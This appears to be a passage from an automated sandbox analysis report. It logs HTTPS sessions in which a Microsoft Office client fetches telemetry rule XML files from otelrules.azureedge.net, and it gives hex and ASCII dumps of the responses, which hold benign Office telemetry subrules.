20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:01 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 28e3a13f-d01e-0049-4f16-25e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065101Z-r197bdfb6b4t7wszdvrfk02ah400000008v000000000bs28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:01 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7acd244f-d01e-002b-55f2-2425fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065101Z-r197bdfb6b4kkrkjudg185sarw00000001a000000000hyhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49849	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:01 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:01 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: fa910cef-e01e-003c-72dd-21c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065101Z-16849878b787psctgubawhx7k8000000076g000000005fge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:01 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:01 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: a2e914b6-401e-0029-5fce-219b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065101Z-16849878b78hz7zj8u0h2zng1400000007g0000000002x0t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:01 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:01 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: e4f93586-101e-0046-3eac-2491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065101Z-15b8d89586fmhkw4gksnr1w3ds0000000e2g000000003gzb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:01 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49852	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:02 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d2bab0c5-801e-0078-24f3-24bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065102Z-r197bdfb6b4h2vctng0a0nubg80000000agg0000000059ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49854	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:02 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065102Z-16849878b78ngdnlw4w0762cms00000007e0000000007fub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49855	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:02 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2f548e5b-201e-003c-5d24-2130f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065102Z-16849878b787sbpl0sv29sm89s00000007g000000000365a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2df5d45d-601e-003e-40f7-213248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065102Z-16849878b78jfqwd1dsrhqg3aw00000007eg000000006vmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:03 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:03 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b96d8484-001e-005a-2cf4-24c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065103Z-15b8d89586fnsf5zm1ryrxu0bc00000002t000000000byzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:03 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:03 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:03 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: e5d3cb58-101e-0046-3bf3-2491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065103Z-r197bdfb6b429k2s6br3k49qn400000004e000000000gz5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:03 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:03 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:03 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 0eea03f1-d01e-0066-098a-21ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065103Z-16849878b785f8wh85a0w3ennn00000007c0000000002rwa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" 